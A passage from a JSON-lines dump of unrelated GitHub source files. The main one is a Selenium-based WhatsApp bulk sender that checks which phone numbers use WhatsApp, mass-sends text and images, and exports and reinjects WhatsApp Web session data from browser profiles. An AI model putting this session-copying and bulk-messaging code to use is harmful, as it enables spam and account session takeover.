MW_field(ax)\n","repo_name":"edmagnu/StaPD-Paper","sub_path":"FinalFigures/CoulombMW.py","file_name":"CoulombMW.py","file_ext":"py","file_size_in_byte":4121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19134770462","text":"from model.group import Group\nimport allure\n\n\ndef test_group_list(app, db):\n with allure.step('Given a group list from ui'):\n ui_list = app.group.get_group_list()\n with allure.step('Given a group list from db'):\n def clean(group):\n return Group(id=group.id, name=group.name.strip())\n db_list = map(clean, db.get_group_list())\n with allure.step('Then the UI group list is equal to the DB group list'):\n assert sorted(ui_list, key=Group.id_or_max) == sorted(db_list, key=Group.id_or_max)","repo_name":"DiastroniX/python_training","sub_path":"test/test_db_matches_group_ui.py","file_name":"test_db_matches_group_ui.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11285767508","text":"from procesark.application.models import Process\nfrom procesark.application.services import Executor, MemoryExecutor\n\n\ndef test_executor_methods() -> None:\n methods = Executor.__abstractmethods__ # type: ignore\n assert 'execute' in methods\n assert 'invoke' in methods\n\n\ndef test_memory_executor_implementation() -> None:\n assert issubclass(MemoryExecutor, Executor)\n\n\nasync def test_memory_executor_execute() -> None:\n executor = MemoryExecutor()\n processes = [Process(id=\"001\"), Process(id=\"002\")]\n await executor.execute(processes)\n assert executor.executed == processes\n\n\nasync def test_memory_executor_invoke() -> None:\n executor = MemoryExecutor()\n processes = [Process(id=\"001\"), Process(id=\"002\")]\n result = await executor.invoke(processes)\n assert result == [executor.result, executor.result]\n assert executor.invoked == processes\n","repo_name":"knowark/procesark","sub_path":"tests/application/services/test_executor.py","file_name":"test_executor.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41253984274","text":"# -*- coding: utf-8 -*-\n\n\ndef main():\n import sys\n\n input = sys.stdin.readline\n\n n, x, y = map(int, input().split())\n red = [0] * (n + 1)\n red[n] = 1\n blue = [0] * (n + 1)\n\n for i in range(n, 1, -1):\n red[i - 1] += red[i]\n blue[i] += red[i] * x\n\n red[i - 1] += blue[i]\n blue[i - 1] += blue[i] * y\n \n print(blue[1])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"KATO-Hiro/AtCoder","sub_path":"ABC/abc251-abc300/abc260/c/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"21905013171","text":"import json\nimport os\nfrom datetime import datetime\nimport time\n\nfrom dotenv import load_dotenv\nimport requests\n\nfrom utils.action_types import close, elicit_slot, elicit_intent\nfrom utils.helpers import get_slot, get_session_attributes, get_request_attributes, mile_to_meter, price_to_dollar\n\nload_dotenv()\n\nHEADERS = {\"Authorization\": \"bearer %s\" % os.getenv(\"YELP_KEY\")}\n\n\ndef welcome(intent_request):\n session_attributes = get_session_attributes(intent_request)\n fulfillment_state = \"Fulfilled\"\n message = {\n \"contentType\": \"PlainText\",\n \"content\": \"This is your private dining concierge here. How can I help you today?\"\n }\n\n return elicit_intent(intent_request, session_attributes, fulfillment_state, message)\n\n\ndef initial_search_yelp(intent_request, context):\n\n # use session attributes to store\n session_attributes = get_session_attributes(intent_request)\n\n if \"offset\" not in session_attributes:\n session_attributes[\"offset\"] = 0\n\n # fetch slots\n location = get_slot(intent_request, \"location\")\n eat_now = get_slot(intent_request, \"eat_now\")\n\n if eat_now == \"now\":\n dt = datetime.now()\n search_date = dt.strftime(\"%Y-%m-%d\")\n search_time = dt.strftime(\"%H:%M\")\n else:\n search_date = get_slot(intent_request, \"date\")\n search_time = get_slot(intent_request, \"time\")\n dt = datetime.strptime(search_date + \",\" + search_time, \"%Y-%m-%d,%H:%M\")\n\n term = get_slot(intent_request, \"term\")\n people = get_slot(intent_request, \"people\")\n radius = get_slot(intent_request, \"radius\")\n price = get_slot(intent_request, \"price\")\n reserve = get_slot(intent_request, \"reservation\")\n\n session_attributes[\"reservation_date\"] = dt.isoformat()\n session_attributes[\"people\"] = people\n # set request parameters\n params = {\n \"location\": location,\n \"term\": term,\n \"radius\": mile_to_meter(int(radius)),\n \"price\": price_to_dollar(int(price)),\n \"limit\": 6,\n \"offset\": session_attributes[\"offset\"]\n }\n\n if eat_now == \"now\":\n params[\"open_now\"] = True\n else:\n params[\"open_at\"] = int(time.mktime(dt.timetuple()))\n\n if reserve == \"do\":\n params[\"reservation_date\"] = search_date\n params[\"reservation_time\"] = search_time\n params[\"reservation_covers\"] = int(people)\n\n\n\n # call yelp api and get answer\n response = requests.get(url=os.getenv(\"YELP_URL\"), params=params, headers=HEADERS)\n all_businesses = response.json()\n nums = all_businesses[\"total\"]\n\n # organize response\n requests_attributes = get_request_attributes(intent_request)\n session_id = intent_request[\"sessionId\"]\n\n # if found any restaurant, go to next step\n if nums > 0:\n if session_attributes[\"offset\"] == 0:\n messages = [{\n \"contentType\": \"PlainText\",\n \"content\": \"I have found \" + str(all_businesses[\"total\"]) + \" restaurants! Here displayed first 6 for you. You can click on 'More Restaurants' to view more.\"\n }]\n else:\n messages = [{\n \"contentType\": \"PlainText\",\n \"content\": \"Here are another 6 restaurants.\"\n }]\n\n intent = {\n \"confirmationState\": \"None\",\n \"name\": \"ViewSpecificRestaurant\",\n \"slots\": {\n \"businessID\": None\n },\n \"state\": \"InProgress\"\n }\n\n slot_to_elicit = \"businessID\"\n\n requests_attributes[\"businesses\"] = json.dumps(all_businesses[\"businesses\"])\n\n # temporarily use session attributes to save intent request\n session_attributes[\"search_request\"] = json.dumps(intent_request)\n\n # if not, return with failed fulfillment\n else:\n messages = [{\n \"contentType\": \"PlainText\",\n \"content\": f\"\"\"Sorry, it seems no available restaurants around {location} that meet your requirements.\n Please change some settings and try again.\"\"\"\n },\n {\n \"contentType\": \"PlainText\",\n \"content\": \"Please start over by selecting the place you want to have food in.\"\n }]\n\n intent = {\n \"confirmationState\": \"None\",\n \"name\": \"SearchRestuarants\",\n \"slots\": {\n \"location\": None,\n \"eat_now\": None,\n \"date\": None,\n \"time\": None,\n \"term\": None,\n \"people\": None,\n \"radius\": None,\n \"price\": None,\n \"reservation\": None\n },\n \"state\": \"InProgress\"\n }\n\n slot_to_elicit = \"location\"\n\n return elicit_slot(session_attributes, intent, slot_to_elicit, messages, requests_attributes, session_id)\n\n\ndef view_specific_restaurant(intent_request, context):\n\n # fetch slot\n business_id = get_slot(intent_request, \"businessID\")\n\n # if user not interested:\n if business_id == \"no\":\n # TODO: save initial search params in client instead of in session attributes, which may increase latency\n session_attributes = get_session_attributes(intent_request)\n original_request = json.loads(session_attributes[\"search_request\"])\n original_request[\"sessionState\"][\"sessionAttributes\"][\"offset\"] += 6\n return initial_search_yelp(original_request, context)\n\n # if user click on one specific card\n else:\n business = requests.get(url=os.getenv(\"YELP_BUSINESS_URL\") + business_id, headers=HEADERS)\n reviews = requests.get(url=os.getenv(\"YELP_BUSINESS_URL\") + business_id + \"/reviews\",\n params={\"limit\": 3},\n headers=HEADERS)\n business_info = business.json()\n reviews_info = reviews.json()\n\n requests_attributes = get_request_attributes(intent_request)\n requests_attributes[\"business_info\"] = json.dumps(business_info)\n requests_attributes[\"reviews_info\"] = json.dumps(reviews_info)\n session_attributes = get_session_attributes(intent_request)\n session_attributes[\"business_info\"] = json.dumps(business_info)\n session_attributes[\"reviews_info\"] = json.dumps(reviews_info)\n session_id = intent_request[\"sessionId\"]\n\n intent = {\n \"confirmationState\": \"None\",\n \"name\": \"SaveRestaurant\",\n \"slots\": {\n \"save\": None\n },\n \"state\": \"InProgress\"\n }\n\n if \"error\" in business_info:\n messages = [{\n \"contentType\": \"PlainText\",\n \"content\": \"Can't find this business, visited url:\" + (os.getenv(\"YELP_BUSINESS_URL\") + business_id)\n }]\n else:\n messages = [{\n \"contentType\": \"PlainText\",\n \"content\": \"Here are more information about restaurant: \" + business_info[\"name\"] + \". Please decide if you want to have food there!\"\n }]\n\n return elicit_slot(session_attributes, intent, \"save\", messages, requests_attributes, session_id)\n\n\ndef save_restaurant(intent_request, context):\n save = get_slot(intent_request, \"save\")\n\n if save == \"yes\":\n\n session_attributes = get_session_attributes(intent_request)\n # requests_attributes = get_request_attributes(intent_request)\n business_info = json.loads(session_attributes[\"business_info\"])\n\n # TODO: change format of database info\n business_info = business_info\n\n location = \"\"\n for i in business_info[\"location\"][\"display_address\"]:\n location = location + i + \" \"\n business_data = {'businessId': business_info[\"id\"],\n 'name': business_info[\"name\"],\n 'rate': business_info[\"rating\"],\n 'location': location,\n 'price': business_info[\"price\"],\n 'image_url': business_info[\"image_url\"],\n 'yelp_url': business_info[\"url\"]\n }\n\n API_ENDPOINT = \"http://44.206.254.99:8080/save\"\n # sending post request and saving response as response object\n r = requests.post(url=API_ENDPOINT, json=business_data)\n\n\n requests_attributes = get_request_attributes(intent_request)\n session_attributes = get_session_attributes(intent_request)\n session_id = intent_request[\"sessionId\"]\n\n intent = {\n \"confirmationState\": \"None\",\n \"name\": \"ReserveRestaurant\",\n \"slots\": {\n \"reserve\": None\n },\n \"state\": \"InProgress\"\n }\n\n messages = [{\n \"contentType\": \"PlainText\",\n \"content\": \"You have saved this restaurant to your profile. Do you want to reserve it?\"\n }]\n\n return elicit_slot(session_attributes, intent, \"reserve\", messages, requests_attributes, session_id)\n\n elif save == \"no\":\n # TODO: save initial search params in local instead of in session attributes, which may increase latency\n session_attributes = get_session_attributes(intent_request)\n original_request = json.loads(session_attributes[\"search_request\"])\n return initial_search_yelp(original_request, context)\n\n\ndef reserve_restaurant(intent_request, context):\n reserve = get_slot(intent_request, \"reserve\")\n session_attributes = get_session_attributes(intent_request)\n request_attributes = get_request_attributes(intent_request)\n fulfillment_state = \"Fulfilled\"\n\n messages = []\n\n if reserve == \"yes\":\n business_info = session_attributes[\"business_info\"]\n\n # TODO: change format of database info\n business_info = json.loads(business_info)\n\n location = \"\"\n for i in business_info[\"location\"][\"display_address\"]:\n location = location + i + \" \"\n business_data = {'businessId': business_info[\"id\"],\n 'name': business_info[\"name\"],\n 'location': location,\n 'image_url': business_info[\"image_url\"],\n 'yelp_url': business_info[\"url\"],\n\n 'people': session_attributes[\"people\"],\n 'dt': session_attributes[\"reservation_date\"]\n }\n\n session_id = intent_request[\"sessionId\"]\n\n API_ENDPOINT = \"http://44.206.254.99:8080/reserve\"\n\n # sending post request and saving response as response object\n r = requests.post(url=API_ENDPOINT, json=business_data)\n\n dt = datetime.fromisoformat(session_attributes[\"reservation_date\"]).strftime(\"%Y-%m-%d at %H:%M\")\n\n\n messages.append({\n \"contentType\": \"PlainText\",\n \"content\": f\"You have reserved this restaurant for \" + session_attributes[\"people\"] + \" people on \" + dt + \".\"\n })\n\n messages.append({\n \"contentType\": \"PlainText\",\n \"content\": \"You have finished the journey with dining concierge chatbot. Wish you a good meal!\"\n })\n\n return close(intent_request, session_attributes, fulfillment_state, messages, request_attributes)\n","repo_name":"Alexstrasza98/dining-concierge-chatbot-lambda","sub_path":"utils/intents.py","file_name":"intents.py","file_ext":"py","file_size_in_byte":11146,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"20084953954","text":"from PyQt5.QtCore import pyqtSignal, QThread\nfrom selenium import webdriver\nfrom selenium.webdriver.common.selenium_manager import SeleniumManager\nimport json\nimport os\nimport platform\nimport time\nimport random\nimport pyperclip\nimport subprocess\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nimport logging\nimport logging.config\nfrom logging.handlers import SocketHandler\nimport chromedriver_autoinstaller\n\n\n# config\nif not os.path.exists(fr'.\\src\\logs'):\n os.mkdir(fr'.\\src\\logs')\nlogging.config.fileConfig(fr\"src\\logging.ini\", disable_existing_loggers=True)\nlogr = logging.getLogger(__name__)\ntry:\n socket_handler = SocketHandler(\"127.0.0.1\", 19996)\nexcept:\n pass\nlogr.addHandler(socket_handler)\n# config ends\n\ntry:\n chromedriver_autoinstaller.install()\nexcept:\n logr.exception(\"\")\nCHROME = 1\nFIREFOX = 2\n\n\nclass Web(QThread):\n __URL = 'https://web.whatsapp.com/'\n driverNum = 0\n lcdNumber_reviewed = pyqtSignal(int)\n lcdNumber_nwa = pyqtSignal(int)\n lcdNumber_wa = pyqtSignal(int)\n Log = pyqtSignal(str)\n wa = pyqtSignal(str)\n nwa = pyqtSignal(str)\n EndWork = pyqtSignal(str)\n\n def __init__(self, parent=None, counter_start=0, step='A', numList=None, sleepMin=3, sleepMax=6, text='', path='',\n Remember=False, browser=1):\n super(Web, self).__init__(parent)\n self.counter_start = counter_start\n self.Numbers = numList\n self.step = step\n self.sleepMin = sleepMin\n self.sleepMax = sleepMax\n self.text = text\n self.path = path\n self.remember = Remember\n self.isRunning = True\n try:\n if not os.path.exists('./temp/cache'):\n os.makedirs('temp/cache/')\n except:\n os.makedirs('./temp/cache/')\n # Save Session Section\n self.__platform = platform.system().lower()\n if self.__platform != 'windows' and self.__platform != 'linux':\n raise OSError('Only Windows and Linux are supported for now.')\n\n self.__browser_choice = 0\n self.__browser_options = None\n self.__browser_user_dir = None\n self.__driver = None\n\n if browser == 1:\n self.set_browser(CHROME)\n elif browser == 2:\n self.set_browser(FIREFOX)\n\n self.__init_browser()\n\n def driverBk(self):\n options = webdriver.ChromeOptions()\n options.add_argument(\"--disable-notifications\")\n # options.add_argument(fr\"--user-data-dir={userDataPath}\")\n try:\n try:\n self.__driver = webdriver.Chrome(\n chrome_options=options, service_args=[\"hide_console\",])\n logr.debug(\"webDriver\")\n except:\n logr.exception(\"error remeber\")\n self.__driver = webdriver.Chrome(\n service_args=[\"hide_console\", ])\n except:\n logr.exception(\"Chrome ->:\")\n # if not os.path.exists('temp/F.Options'):\n # os.mkdir('temp/F.Options')\n # optionsF = webdriver.FirefoxOptions()\n # optionsF.add_argument('-headless') ## hidden Browser\n try:\n self.__driver = webdriver.Firefox()\n except:\n pass\n try:\n self.__driver.set_window_position(0, 0)\n self.__driver.set_window_size(1080, 840)\n except:\n pass\n\n def is_logged_in(self):\n status = self.__driver.execute_script(\n \"if (document.querySelector('*[data-icon=chat]') !== null) { return true } else { return false }\"\n )\n return status\n\n def copyToClipboard(self, text):\n try: # Copy Text To clipboard\n try:\n subprocess.run(\"pbcopy\", universal_newlines=True, input=text)\n except Exception:\n pyperclip.copy(text)\n except Exception:\n subprocess.run(\"pbcopy\", universal_newlines=True, input=text)\n finally:\n pyperclip.copy(text)\n\n def ANALYZ(self):\n try:\n logr.debug(\"analyz\")\n if self.remember:\n cacheList = os.listdir('temp/cache/')\n if len(cacheList) != 0:\n self.access_by_file(f\"./temp/cache/{cacheList[0]}\")\n logr.debug('recover')\n else:\n self.driverBk()\n self.__driver.get(self.__URL)\n else:\n self.driverBk()\n self.__driver.get(self.__URL)\n\n while True:\n time.sleep(1)\n if self.is_logged_in():\n logr.debug(\"login\")\n log = \"Login Success\"\n self.Log.emit(log)\n break\n logr.debug(\"thread:\", self.counter_start)\n i = 0\n f = 0\n nf = 0\n for num in self.Numbers:\n log = \"\"\n try:\n time.sleep(3)\n if i == 0:\n execu = f\"\"\"\n var a = document.createElement('a');\n var link = document.createTextNode(\"hiding\");\n a.appendChild(link); \n a.href = \"https://wa.me/{num}\"; \n document.head.appendChild(a);\n \"\"\"\n try:\n self.__driver.execute_script(execu)\n except:\n logr.exception(\"error\")\n else:\n element = self.__driver.find_element(By.XPATH, '/html/head/a')\n self.__driver.execute_script(f\"arguments[0].setAttribute('href','https://wa.me/{num}');\",\n element)\n user = self.__driver.find_element(By.XPATH, '/html/head/a')\n self.__driver.execute_script(\"arguments[0].click();\", user)\n time.sleep(2)\n sourceWeb = self.__driver.page_source\n if \"Phone number shared via url is invalid\" in sourceWeb:\n logr.debug(f\"Not Found {num}\")\n nf += 1\n self.lcdNumber_nwa.emit(nf)\n log = f\"Number::{num} => Not Find!\"\n self.nwa.emit(f\"{num}\")\n else:\n logr.debug(\"find\", num)\n f += 1\n self.lcdNumber_wa.emit(f)\n log = f\"Number::{num} => Find.\"\n self.wa.emit(f\"{num}\")\n except:\n log = f\"Number::{num} Error !\"\n continue\n finally:\n i += 1\n logr.debug(i)\n self.lcdNumber_reviewed.emit(i)\n self.Log.emit(log)\n time.sleep(2)\n logr.debug(\"end\")\n self.EndWork.emit(\"-- analysis completed --\")\n self.isRunning = False\n self.__driver.quit()\n except:\n logr.exception(\"Analyz ->:\")\n\n def SendTEXT(self):\n logr.debug(\"sent text\")\n if self.remember:\n cacheList = os.listdir('temp/cache/')\n if len(cacheList) != 0:\n self.access_by_file(f\"./temp/cache/{cacheList[0]}\")\n logr.debug('recover')\n else:\n self.driverBk()\n self.__driver.get(self.__URL)\n else:\n self.driverBk()\n self.__driver.get(self.__URL)\n time.sleep(2)\n while True:\n time.sleep(1)\n if self.is_logged_in():\n logr.debug(\"login\")\n log = \"Login Success\"\n self.Log.emit(log)\n break\n i = 0\n f = 0\n nf = 0\n from random import randint\n logr.debug(self.Numbers)\n for num in self.Numbers:\n log = \"\"\n try:\n time.sleep(3)\n if i == 0:\n execu = f\"\"\"\n var a = document.createElement('a');\n var link = document.createTextNode(\"hiding\");\n a.appendChild(link); \n a.href = \"https://wa.me/{num}\"; \n document.head.appendChild(a);\n \"\"\"\n try:\n self.__driver.execute_script(execu)\n except:\n logr.exception(\"error\")\n log = \"ERROR !\"\n break\n else:\n element = self.__driver.find_element(By.XPATH, '/html/head/a')\n self.__driver.execute_script(\n f\"arguments[0].setAttribute('href','https://wa.me/{num}');\", element)\n user = self.__driver.find_element(By.XPATH, '/html/head/a')\n self.__driver.execute_script(\"arguments[0].click();\", user)\n time.sleep(2)\n sourceWeb = self.__driver.page_source\n if \"Phone number shared via url is invalid\" in sourceWeb:\n logr.debug(f\"Not Found {num}\")\n nf += 1\n self.lcdNumber_nwa.emit(nf)\n log = f\"Number::{num} => No Send!\"\n self.nwa.emit(f\"{num}\")\n else:\n logr.debug(\"find\", num)\n time.sleep(2)\n textBox = self.__driver.find_element(By.XPATH, '//div[@title=\"Type a message\"]')\n time.sleep(1)\n self.copyToClipboard(self.text)\n textBox.send_keys(Keys.CONTROL, 'v')\n time.sleep(1)\n try:\n textBox.send_keys(Keys.RETURN)\n except Exception:\n textBox.send_keys(Keys.ENTER)\n time.sleep(1)\n f += 1\n self.lcdNumber_wa.emit(f)\n log = f\"Number::{num} => Sent.\"\n self.wa.emit(f\"{num}\")\n time.sleep(randint(self.sleepMin, self.sleepMax))\n except:\n log = f\"Error To Number = {num} \"\n continue\n finally:\n i += 1\n self.lcdNumber_reviewed.emit(i)\n self.Log.emit(log)\n logr.debug(\"end msg\")\n self.EndWork.emit(\"-- Send Message completed --\")\n self.stop()\n self.isRunning = False\n\n def SendIMG(self):\n logr.debug(\"sent text\")\n if self.remember:\n cacheList = os.listdir('temp/cache/')\n if len(cacheList) != 0:\n self.access_by_file(f\"./temp/cache/{cacheList[0]}\")\n logr.debug('recover')\n else:\n self.driverBk()\n self.__driver.get(self.__URL)\n else:\n self.driverBk()\n self.__driver.get(self.__URL)\n time.sleep(2)\n while True:\n time.sleep(1)\n if self.is_logged_in():\n logr.debug(\"login\")\n log = \"Login Success\"\n self.Log.emit(log)\n break\n i = 0\n f = 0\n nf = 0\n from random import randint\n logr.debug(self.Numbers)\n for num in self.Numbers:\n log = \"\"\n try:\n time.sleep(3)\n if i == 0:\n execu = f\"\"\"\n var a = document.createElement('a');\n var link = document.createTextNode(\"hiding\");\n a.appendChild(link); \n a.href = \"https://wa.me/{num}\"; \n document.head.appendChild(a);\n \"\"\"\n try:\n self.__driver.execute_script(execu)\n except:\n logr.exception(\"error img\")\n log = \"ERROR !\"\n break\n else:\n element = self.__driver.find_element(By.XPATH, '/html/head/a')\n self.__driver.execute_script(f\"arguments[0].setAttribute('href','https://wa.me/{num}');\", element)\n user = self.__driver.find_element(By.XPATH, '/html/head/a')\n self.__driver.execute_script(\"arguments[0].click();\", user)\n time.sleep(2)\n sourceWeb = self.__driver.page_source\n if \"Phone number shared via url is invalid\" in sourceWeb:\n logr.debug(f\"Not Found {num}\")\n nf += 1\n self.lcdNumber_nwa.emit(nf)\n log = f\"Number::{num} => No Send\"\n self.nwa.emit(f\"{num}\")\n else:\n logr.debug(\"find\", num)\n time.sleep(2)\n self.__driver.find_element(By.XPATH, '//span[@data-icon=\"clip\"]').click()\n time.sleep(2)\n attch = self.__driver.find_element(By.XPATH,\n '//input[@accept=\"image/*,video/mp4,video/3gpp,video/quicktime\"]')\n attch.send_keys(self.path)\n time.sleep(2)\n caption = self.__driver.find_element(\n By.XPATH, '//div[@data-testid=\"media-caption-input-container\"]')\n if self.text != '' or self.text != ' ':\n self.copyToClipboard(self.text)\n caption.send_keys(Keys.CONTROL, 'v')\n time.sleep(1)\n try:\n caption.send_keys(Keys.RETURN)\n except Exception:\n caption.send_keys(Keys.ENTER)\n f += 1\n self.lcdNumber_wa.emit(f)\n log = f\"Number::{num} => Sent\"\n self.wa.emit(f\"{num}\")\n time.sleep(randint(self.sleepMin, self.sleepMax))\n except:\n log = f\"Error To Number = {num} \"\n continue\n finally:\n i += 1\n self.lcdNumber_reviewed.emit(i)\n self.Log.emit(log)\n self.EndWork.emit(\"-- Send Image completed --\")\n self.stop()\n self.isRunning = False\n\n def addAcc(self):\n try:\n logr.debug(\"Add Account\")\n if self.remember:\n if self.path == '':\n cacheName = str(random.randint(1, 9999999))\n self.path = cacheName\n self.save_profile(self.get_active_session(),\n f\"./temp/cache/{self.path}\")\n logr.debug('File saved.')\n logr.debug(\"thread:\", self.counter_start)\n self.EndWork.emit(\"-- Add Account completed --\")\n self.isRunning = False\n except:\n logr.exception(\"Add Account ->:\")\n\n def run(self):\n while self.isRunning == True:\n if self.step == 'A':\n self.ANALYZ()\n elif self.step == 'M':\n self.SendTEXT()\n elif self.step == 'I':\n self.SendIMG()\n elif self.step == 'Add':\n self.addAcc()\n\n def stop(self):\n self.isRunning = False\n logr.debug('stopping thread...')\n try:\n self.__driver.quit()\n except:\n pass\n # self.terminate()\n\n def __init_browser(self):\n if self.__browser_choice == CHROME:\n self.__browser_options = webdriver.ChromeOptions()\n\n if self.__platform == 'windows':\n self.__browser_user_dir = os.path.join(os.environ['USERPROFILE'],\n 'Appdata', 'Local', 'Google', 'Chrome', 'User Data')\n elif self.__platform == 'linux':\n self.__browser_user_dir = os.path.join(\n os.environ['HOME'], '.config', 'google-chrome')\n\n elif self.__browser_choice == FIREFOX:\n self.__browser_options = webdriver.FirefoxOptions()\n\n if self.__platform == 'windows':\n self.__browser_user_dir = os.path.join(\n os.environ['APPDATA'], 'Mozilla', 'Firefox', 'Profiles')\n self.__browser_profile_list = os.listdir(\n self.__browser_user_dir)\n elif self.__platform == 'linux':\n self.__browser_user_dir = os.path.join(\n os.environ['HOME'], '.mozilla', 'firefox')\n\n self.__browser_options.headless = True\n self.__refresh_profile_list()\n\n def __refresh_profile_list(self):\n if self.__browser_choice == CHROME:\n self.__browser_profile_list = ['']\n for profile_dir in os.listdir(self.__browser_user_dir):\n if 'profile' in profile_dir.lower():\n if profile_dir != 'System Profile':\n self.__browser_profile_list.append(profile_dir)\n elif self.__browser_choice == FIREFOX:\n # TODO: consider reading out the profiles.ini\n self.__browser_profile_list = []\n for profile_dir in os.listdir(self.__browser_user_dir):\n if not profile_dir.endswith('.default'):\n if os.path.isdir(os.path.join(self.__browser_user_dir, profile_dir)):\n self.__browser_profile_list.append(profile_dir)\n\n def __get_indexed_db(self):\n self.__driver.execute_script('window.waScript = {};'\n 'window.waScript.waSession = undefined;'\n 'function getAllObjects() {'\n 'window.waScript.dbName = \"wawc\";'\n 'window.waScript.osName = \"user\";'\n 'window.waScript.db = undefined;'\n 'window.waScript.transaction = undefined;'\n 'window.waScript.objectStore = undefined;'\n 'window.waScript.getAllRequest = undefined;'\n 'window.waScript.request = indexedDB.open(window.waScript.dbName);'\n 'window.waScript.request.onsuccess = function(event) {'\n 'window.waScript.db = event.target.result;'\n 'window.waScript.transaction = window.waScript.db.transaction('\n 'window.waScript.osName);'\n 'window.waScript.objectStore = window.waScript.transaction.objectStore('\n 'window.waScript.osName);'\n 'window.waScript.getAllRequest = window.waScript.objectStore.getAll();'\n 'window.waScript.getAllRequest.onsuccess = function(getAllEvent) {'\n 'window.waScript.waSession = getAllEvent.target.result;'\n '};'\n '};'\n '}'\n 'getAllObjects();')\n while not self.__driver.execute_script('return window.waScript.waSession != undefined;'):\n time.sleep(1)\n wa_session_list = self.__driver.execute_script(\n 'return window.waScript.waSession;')\n return wa_session_list\n\n def __get_profile_storage(self, profile_name=None):\n self.__refresh_profile_list()\n\n if profile_name is not None and profile_name not in self.__browser_profile_list:\n raise ValueError(\n 'The specified profile_name was not found. Make sure the name is correct.')\n\n if profile_name is None:\n self.__start_visible_session()\n else:\n self.__start_invisible_session(profile_name)\n\n indexed_db = self.__get_indexed_db()\n\n self.__driver.quit()\n\n return indexed_db\n\n def __start_session(self, options, profile_name=None, wait_for_login=True):\n if profile_name is None:\n if self.__browser_choice == CHROME:\n self.__driver = webdriver.Chrome(options=options)\n self.__driver.set_window_position(0, 0)\n self.__driver.set_window_size(670, 800)\n elif self.__browser_choice == FIREFOX:\n self.__driver = webdriver.Firefox(options=options)\n\n self.__driver.get(self.__URL)\n\n if wait_for_login:\n verified_wa_profile_list = False\n while not verified_wa_profile_list:\n time.sleep(1)\n verified_wa_profile_list = False\n for object_store_obj in self.__get_indexed_db():\n if 'WASecretBundle' in object_store_obj['key']:\n verified_wa_profile_list = True\n break\n else:\n if self.__browser_choice == CHROME:\n options.add_argument(\n 'user-data-dir=%s' % os.path.join(self.__browser_user_dir, profile_name))\n self.__driver = webdriver.Chrome(options=options)\n elif self.__browser_choice == FIREFOX:\n fire_profile = webdriver.FirefoxProfile(\n os.path.join(self.__browser_user_dir, profile_name))\n self.__driver = webdriver.Firefox(\n fire_profile, options=options)\n\n self.__driver.get(self.__URL)\n\n def __start_visible_session(self, profile_name=None, wait_for_login=True):\n options = self.__browser_options\n options.headless = False\n self.__refresh_profile_list()\n\n if profile_name is not None and profile_name not in self.__browser_profile_list:\n raise ValueError(\n 'The specified profile_name was not found. Make sure the name is correct.')\n\n self.__start_session(options, profile_name, wait_for_login)\n\n def __start_invisible_session(self, profile_name=None):\n self.__refresh_profile_list()\n if profile_name is not None and profile_name not in self.__browser_profile_list:\n raise ValueError(\n 'The specified profile_name was not found. Make sure the name is correct.')\n\n self.__start_session(self.__browser_options, profile_name)\n\n def set_browser(self, browser):\n if type(browser) == str:\n if browser.lower() == 'chrome':\n self.__browser_choice = CHROME\n elif browser.lower() == 'firefox':\n self.__browser_choice = FIREFOX\n else:\n raise ValueError(\n 'The specified browser is invalid. Try to use \"chrome\" or \"firefox\" instead.')\n else:\n if browser == CHROME:\n pass\n elif browser == FIREFOX:\n pass\n else:\n raise ValueError(\n 'Browser type invalid. Try to use WaWebSession.CHROME or WaWebSession.FIREFOX instead.')\n\n self.__browser_choice = browser\n\n def get_active_session(self, use_profile=None):\n profile_storage_dict = {}\n use_profile_list = []\n self.__refresh_profile_list()\n\n if use_profile and use_profile not in self.__browser_profile_list:\n raise ValueError('Profile does not exist: %s', use_profile)\n elif use_profile is None:\n return self.__get_profile_storage()\n elif use_profile and use_profile in self.__browser_profile_list:\n use_profile_list.append(use_profile)\n elif type(use_profile) == list:\n use_profile_list.extend(self.__browser_profile_list)\n else:\n raise ValueError(\n \"Invalid profile provided. Make sure you provided a list of profiles or a profile name.\")\n\n for profile in use_profile_list:\n profile_storage_dict[profile] = self.__get_profile_storage(profile)\n\n return profile_storage_dict\n\n def create_new_session(self):\n return self.__get_profile_storage()\n\n def access_by_obj(self, wa_profile_list):\n verified_wa_profile_list = False\n for object_store_obj in wa_profile_list:\n if 'WASecretBundle' in object_store_obj['key']:\n verified_wa_profile_list = True\n break\n\n if not verified_wa_profile_list:\n raise ValueError(\n 'This is not a valid profile list. Make sure you only pass one session to this method.')\n\n self.__start_visible_session(wait_for_login=False)\n self.__driver.execute_script('window.waScript = {};'\n 'window.waScript.insertDone = 0;'\n 'window.waScript.jsonObj = undefined;'\n 'window.waScript.setAllObjects = function (_jsonObj) {'\n 'window.waScript.jsonObj = _jsonObj;'\n 'window.waScript.dbName = \"wawc\";'\n 'window.waScript.osName = \"user\";'\n 'window.waScript.db;'\n 'window.waScript.transaction;'\n 'window.waScript.objectStore;'\n 'window.waScript.clearRequest;'\n 'window.waScript.addRequest;'\n 'window.waScript.request = indexedDB.open(window.waScript.dbName);'\n 'window.waScript.request.onsuccess = function(event) {'\n 'window.waScript.db = event.target.result;'\n 'window.waScript.transaction = window.waScript.db.transaction('\n 'window.waScript.osName, \"readwrite\");'\n 'window.waScript.objectStore = window.waScript.transaction.objectStore('\n 'window.waScript.osName);'\n 'window.waScript.clearRequest = window.waScript.objectStore.clear();'\n 'window.waScript.clearRequest.onsuccess = function(clearEvent) {'\n 'for (var i=0; i 0:\n pass\n else:\n raise ValueError(\n 'Could not find any profiles in the list. Make sure to specified file path is correct.')\n","repo_name":"SaeidJavadi/Advanced-WhatsApp-Sender","sub_path":"browserCtrl.py","file_name":"browserCtrl.py","file_ext":"py","file_size_in_byte":30619,"program_lang":"python","lang":"en","doc_type":"code","stars":112,"dataset":"github-code","pt":"62"} +{"seq_id":"31898825848","text":"from collections import defaultdict, deque\nstart = input()\nd 